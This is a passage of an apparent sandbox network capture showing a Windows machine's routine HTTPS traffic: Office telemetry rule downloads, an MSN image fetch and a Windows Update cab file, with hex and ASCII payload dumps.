2024-11-26 09:09:51 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:51 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:52 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090952Z-174f78459685m244hC1EWRgp2c0000000uyg000000009y76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:52 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:51 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:52 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090952Z-174f78459685726chC1EWRsnbg0000000v5000000000ana0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:52 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:52 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:52 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090952Z-174f7845968qj8jrhC1EWRh41s0000000v800000000011zp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:52 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:52 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:52 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090952Z-174f7845968cdxdrhC1EWRg0en0000000v50000000006ers x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:52 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:53 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:53 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090953Z-174f7845968nxc96hC1EWRspw80000000v20000000000qqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:53 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49922	23.44.129.36	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:53 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:53 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=250004 Expires: Fri, 29 Nov 2024 06:36:37 GMT Date: Tue, 26 Nov 2024 09:09:53 GMT Connection: close
2024-11-26 09:09:53 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49921	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:53 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DA7lFO3zLn22lMe&MD=5fBfWx8m HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-26 09:09:54 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 396eddd7-396b-49f8-a52e-e92148d30385 MS-RequestId: 0a3b02ec-5abe-4c7f-849e-ea4acf26bc03 MS-CV: zLzjMVagfkqS2jw+.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 09:09:52 GMT Connection: close Content-Length: 30005
2024-11-26 09:09:54 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-26 09:09:54 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:54 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:54 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:54 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090954Z-174f7845968ljs8phC1EWRe6en0000000v0g0000000077d9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:54 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:54 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:54 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090954Z-174f7845968n2hr8hC1EWR9cag0000000uug000000006fp2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:54 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:55 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:55 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090955Z-174f7845968vqt9xhC1EWRgten0000000v900000000047xx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:55 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:55 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:55 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:55 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090955Z-174f7845968l4kp6hC1EWRe8840000000vb000000000b1kt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
